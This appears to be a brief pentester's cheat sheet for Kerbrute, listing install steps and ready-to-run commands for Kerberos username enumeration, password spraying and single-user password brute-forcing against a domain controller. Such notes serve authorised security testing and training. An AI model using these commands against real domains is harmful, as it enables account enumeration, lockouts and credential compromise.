Kerbrute

About

A tool to perform Kerberos pre-auth bruteforcing

Links

Github Releases

Installing

Get the most recent file from the Releases Page and make it executable

chmod +x kerbrute_linux_amd64

Usage

./kerbrute -h

User Enumeration

./kerbrute_linux_amd64 userenum -d DOMAIN --dc DC-IP USERLIST.txt -v -o Outfile.txt
./kerbrute_linux_amd64 userenum -d DOMAIN --dc DC-IP USERLIST.txt | grep "VALID USERNAME" | awk '{print $7}' > valid_users.txt

PasswordSpray

./kerbrute_linux_amd64 passwordspray -d DOMAIN --dc DC-IP domain_users.txt PASSWORD -v -o Outfile.txt

Bruteforce

./kerbrute_linux_amd64 bruteuser -d DOMAIN --dc DC-IP WORDLIST USER -v -o Outfile.txt